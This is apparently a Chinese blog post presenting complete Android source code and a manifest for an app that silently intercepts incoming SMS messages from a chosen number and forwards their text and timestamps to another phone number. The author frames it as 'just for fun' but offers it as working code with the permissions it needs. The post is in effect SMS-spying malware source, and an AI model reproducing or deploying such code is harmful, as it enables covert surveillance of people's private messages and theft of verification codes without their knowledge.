废话不多直接上代码:
package com.qiao.service;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
/**
* 注 纯属娱乐,请勿瞎搞,另手机装有卫士之类的软件会发生拦截
* @author Administrator
*
*/
public class MySmsService extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
//获取短信实体内容
Object [] pdus = (Object[]) intent.getExtras().get("pdus");
//迭代短信内容
for (Object pdu :pdus) {
//对短信各部分进行组成
SmsMessage message= SmsMessage.createFromPdu((byte[]) pdu);
//获得短信发送者
String sender = message.getOriginatingAddress();
//获得短信内容
String content =message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss");
String time =dateFormat.format(date);
//处理所监听到的短信
sendSMS(sender,content,time);
}
}
private void sendSMS(String sender, String content, String time) {
if ("这里填写手机号-->发信息的人".equals(sender)) {
SmsManager manager = SmsManager.getDefault();
ArrayList<String> texts = manager.divideMessage(content);
for (String text : texts) {
manager.sendTextMessage("这里填写监听后需要发送给谁-->手机号", null, "time + " + time
+ " " + text, null, null);
}
}
}
}
以下是mainfest里边权限之类的:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.qiao.smsreceiver"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.qiao.smsreceiver.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 短信广播接收器 -->
<receiver android:name="com.qiao.service.MySmsService">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
</manifest>
本文出自 “离落殇” 博客,请务必保留此出处http://120476536.blog.51cto.com/2861641/1546220